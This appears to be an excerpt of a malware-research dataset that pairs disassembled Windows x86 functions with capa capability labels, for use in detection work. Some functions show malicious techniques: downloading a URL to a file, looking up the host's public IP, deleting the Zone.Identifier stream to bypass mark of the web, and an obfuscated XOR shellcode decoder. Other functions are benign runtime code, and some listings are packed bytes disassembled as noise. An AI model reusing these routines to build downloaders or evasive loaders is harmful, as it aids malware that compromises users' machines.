joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10031820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1004f37c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10031850
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10031880
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10031880
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1003197a
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100318a9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100318dd
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1003197a
cmp eax, 1
jle 0x1003193b
cmp eax, 3
jne 0x1003197a
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.1000cd90
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10031959
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1003197a
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1003197a
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
Function at 0x10036f80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ecf8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004f37c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004f338]
cmp eax, 0xffffffff
jne 0x10036fb6
xor ebx, ebx
jmp 0x10036fbf
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x10036fff
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003703e
test esi, esi
jne 0x10037042
push 0x10035760
push 0x10050e58
call fcn.1000cd90
mov eax, dword [0x1004f338]
add esp, 8
cmp eax, 0xffffffff
je 0x10036fff
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003702c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003702c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10037084
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003706d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10037042
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036fd0
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100370a9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100370a9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.1000cd90
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x10037090
jmp 0x10036fd0

Function at 0x100370d0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
mov edx, dword [esi]
lea eax, [edx + 0x10]
push eax
push 4
push edx
push 0x10037130
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x100370fa
pop esi
xor al, al
pop ebx
ret
mov eax, dword [esi]
push edi
add eax, 4
lock inc dword [eax]
mov edi, dword [esi]
mov eax, dword [edi + 8]
test eax, eax
je 0x10037118
cmp eax, 0xffffffff
je 0x10037118
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], ebx
mov eax, dword [esi]
push dword [eax + 8]
call dword [sym.imp.kernel32.dll_ResumeThread]
pop edi
pop esi
mov al, 1
pop ebx
ret
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404288
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x404314
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404318
push 0x406058
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404320
push 0x406058
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x406058
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406058
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x406120
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406120
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x406120
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406120
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406120
mov esp, ebp
pop ebp
ret
Function at 0x402720
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.523535
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40275e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027cb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x406020
call section..text
add esp, 4
push eax
push 0x404e20
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x40281e
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402808
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40a60b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40a61a
pop dword [ebp - 0x48]
mov eax, 0xae6f7c8d
add eax, 0x51d1298d
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x1fa45978
add dword [ebp - 0x58], 0x2eadebd3
mov dword [ebp - 0x54], 0x40207b68
sub dword [ebp - 0x54], 0xded2f23
mov dword [ebp - 0x50], 0x15c91583
add dword [ebp - 0x50], 0x36832eab
mov dword [ebp - 0x4c], 0xf895602a
sub dword [ebp - 0x4c], 0xf895602a
lea eax, [ebp - 0x58]
push eax
mov eax, 0x2f9ad048
sub eax, 0x2f59fff4
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x6ec8b4c1
add dword [ebp - 0x58], 0x5a9b495
mov dword [ebp - 0x54], 0x6b71d58b
sub dword [ebp - 0x54], 0x2a057416
mov dword [ebp - 0x50], 0xb9f13d45
sub dword [ebp - 0x50], 0x5681d0d9
mov dword [ebp - 0x4c], 0x2432a0a7
add dword [ebp - 0x4c], 0xdbcd5f59
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xfecd2068
add eax, 0x173afe4
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3c85c
push 0
call eax
mov ecx, 0x9823626
sub ecx, 0x981e38a
mov esi, eax
mov edx, 0x8d8ea740
sub edx, 0x8d4cf740
add edx, dword [ebp - 0x48]
mov edi, 0x56be9401
sub edi, 0x70baa505
xor dword [ebp - 0x44], ecx
mov ebx, dword [edx]
add dword [ebp - 0x40], 0x61f96364
xor ebx, edi
xor dword [ebp - 0x2c], 0xd4728cf4
mov dword [esi], ebx
xor dword [ebp - 0x28], eax
add esi, 0x974a6447
sub esi, 0x974a6443
add edx, 4
loop 0x40a73c
add eax, 0x87dd8b08
add eax, 0x7823b23b
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x507580
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd0000]
push edi
or ebp, 0xffffffff
jmp 0x5075a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5075a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x507598
mov eax, 1
add ebx, ebx
jne 0x5075bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5075cc
jne 0x5075dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5075dc
dec eax
add ebx, ebx
jne 0x5075d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5075b0
xor ecx, ecx
sub eax, 3
jb 0x5075f4
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x507666
sar eax, 1
mov ebp, eax
jmp 0x5075ff
add ebx, ebx
jne 0x5075ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50760c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x507630
inc ecx
add ebx, ebx
jne 0x50761c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x507611
jne 0x50762d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x507611
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x507650
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x507641
jmp 0x50759e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x507650
add edi, ecx
jmp 0x50759e
pop esi
mov edi, esi
mov ecx, 0x67ca
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50766e
cmp byte [edi], 0x35
jne 0x50766e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x507673
lea edi, [esi + 0x103000]
mov eax, dword [edi]
or eax, eax
je 0x5076e2
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1080b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1081a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5076a0
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1081a4]
or eax, eax
je 0x5076dc
mov dword [ebx], eax
add ebx, 4
jmp 0x5076bd
call dword [esi + 0x1081a8]
popal
jmp 0x4bd3d8
Function at 0x401190
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push dword [ebp + 0xc]
mov edi, dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x404]
push str._s__ux_u__u.raw
push eax
call fcn.004014d0
lea eax, [ebp - 0x404]
push 0x4141a0
push eax
call fcn.00403927
mov esi, eax
add esp, 0x20
test esi, esi
je 0x4011f5
push esi
push dword [ebp + 0x1c]
push 1
push edi
call fcn.00403b76
push esi
call fcn.004037e6
add esp, 0x14
lea eax, [ebp - 0x404]
push eax
push str.saveraw:__s_n
call fcn.004014a0
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop edi
pop esi
call fcn.00401501
mov esp, ebp
pop ebp
ret

Function at 0x40b991
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040b651

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x406850
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x417088]
test eax, eax
je 0x40688f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40688f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40688f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40688f
cmp dword [ecx + 0x74], 0xe
jbe 0x40688f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x412ce0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412d0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412d0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401e30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x687640]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], 0
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.00870b9c
add esp, 0xc
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x22c], 0x103
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x218], ecx
mov edx, dword [ebp - 0x218]
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x218]
cmp dword [eax + 0x14], 7
jbe 0x401ea4
mov dword [ebp - 0x21c], 1
jmp 0x401eae
mov dword [ebp - 0x21c], 0
mov cl, byte [ebp - 0x21c]
mov byte [ebp - 0x20d], cl
movzx edx, byte [ebp - 0x20d]
test edx, edx
je 0x401edf
mov eax, dword [ebp - 0x218]
mov ecx, dword [eax]
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x224]
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x234], ecx
lea edx, [ebp - 0x22c]
push edx
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401f48
lea ecx, [ebp - 0x20c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.007291ab
mov edx, dword [ebp - 0x214]
or edx, 1
mov dword [ebp - 0x214], edx
mov eax, dword [ebp + 8]
jmp 0x401f67
push 0x60dd90
mov ecx, dword [ebp + 8]
call fcn.007291ab
mov eax, dword [ebp - 0x214]
or eax, 1
mov dword [ebp - 0x214], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00530cbe
mov esp, ebp
pop ebp
ret

Function at 0x4063d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4063f4
xor eax, eax
jmp 0x406474
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40640b
xor eax, eax
jmp 0x406474
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x406457
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x406457
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x40642e
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x406463
xor eax, eax
jmp 0x406474
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x406471
xor eax, eax
jmp 0x406474
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4092b0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f3c9d
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x687640]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov dword [edx], 0
mov eax, dword [ebp - 0x18]
mov dword [eax + 4], 0
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x14], eax
mov edx, 0x41
mov word [ebp - 0x10], dx
cmp dword [ebp - 0x14], 0
je 0x40934e
mov eax, dword [ebp - 0x14]
and eax, 1
je 0x409338
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0040a8e0
mov edx, dword [ebp - 0x14]
shr edx, 1
mov dword [ebp - 0x14], edx
mov ax, word [ebp - 0x10]
add ax, 1
mov word [ebp - 0x10], ax
jmp 0x40931e
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.0040ce20
mov edx, dword [ebp - 0x1c]
or edx, 1
mov dword [ebp - 0x1c], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00410000
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x40a249
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
push 0xb621776b
push ecx
push edx
jmp loc.00727980

Function at 0x40bb42
Capabilities:
Packed with generic packer

Disassembly:
popfd
insd dword es:[edi], dx
push cs
mov bl, 0xd6
nop
mov dl, byte [eax + 0x44]
push ss
cdq
test al, 0xe
mov bl, 0x46
and dword [edi - 0x3b], eax
popal
dec ecx
xor dword [esi + 0x338ee135], ebp
scasb al, byte es:[edi]
or al, 0xe2
jge 0x40bb00
xchg edx, eax
xchg edx, eax
adc esp, edi
sal esp, cl
mov edi, 0xaf72880c
invalid
xor al, 0xae
xor eax, 0xae30d322
or al, 0x20
retf
shl byte [ebx], 0xa5
subps xmm1, xmmword [edx - 0x66e1b1ed]
mov dl, 0x1d
adc al, 0xc5
xor dword [0xab75cd24], ecx
pop esp
mov al, byte [edi + esi*2]
xchg cl, cl
movsb byte es:[edi], byte ds:[esi]
pop esp
mov dl, byte [eax + 0x52c481]
add byte [eax], al
add byte [ebp + ecx*4 + 0x64], dh
lea esp, [esp + 4]
add ecx, dword [edi]
call fcn.0074155b
js 0x40bac1
invalid
and al, 4
push ecx
push edx
push ebx
push eax
push esi
call fcn.0070d638
jns 0x40bbab
invalid
push 0x22217827
push ecx
push edx
daa
js 0x40bb67
and dl, byte [ecx + 0x52]
push ebx
call fcn.00738eb1
jae 0x40bb3a
mov dword [edx - 0x49c6ffd1], 0xa523c026
subps xmm1, xmmword [edx - 0x66e19b44]
clc
inc byte [ebp - 0x3b]
sbb byte [ecx - 0x2cdd798c], dl
xchg ecx, eax
je 0x40baf0
and dl, bl
xor byte [esi + 0x26b6390c], ch
shl byte [ebx], 0xa5
subps xmm1, xmmword [edx - 0x66e1b65f]
clc
inc byte [ebp - 0x3b]
or dh, cl
jo 0x40bb0a
xchg ebp, eax
lodsb al, byte [esi]
and eax, 0xa3730cc0
and edx, ebp
in eax, dx
push ebx
inc ecx
xchg byte [edx + eax*2 + 0x41], cl
mov bl, 0x51
pop ds
retf
mov al, 0x24
aad 0xed
push ebx
inc ecx
xchg byte [ebp - 0x3b4cf193], bl
invalid
Function at 0x40d7c3
Capabilities:
Copy file

Disassembly:
pushfd
push ebp
push edi
jmp loc.007494c1
push esi
call fcn.0040a2a8
jmp 0x409006
add byte [ebx + 0x458904c4], al
fmul dword [ebx + 0x4589d845]
invalid
invalid
jnp 0x40d7ea
push ebx
push eax
jmp 0x408fa9
push 0x5e21794b
push ecx
call fcn.00714218
jbe 0x40d838
push eax
ja 0x40d7f4
pop ss
push ecx
push edx
push ebx
push eax
jmp loc.0070e28d
invalid
push edx
call fcn.007214fe
jnp 0x40d789
invalid
and al, 4
push eax
push esi
pushfd
call fcn.006ff8d9
jbe 0x40d796
invalid
and al, 4
push eax
push esi
jmp 0x40430e
mov ah, cl
cmp al, 0x1e
cdq
push ecx
mov bl, 0x27
ror byte [ecx], 0x3c
and cl, byte [esi + 0x1d18d38a]
cdq
lodsd eax, dword [esi]
inc esp
lds esi, [ecx]
or eax, 0xbad1cd24
invalid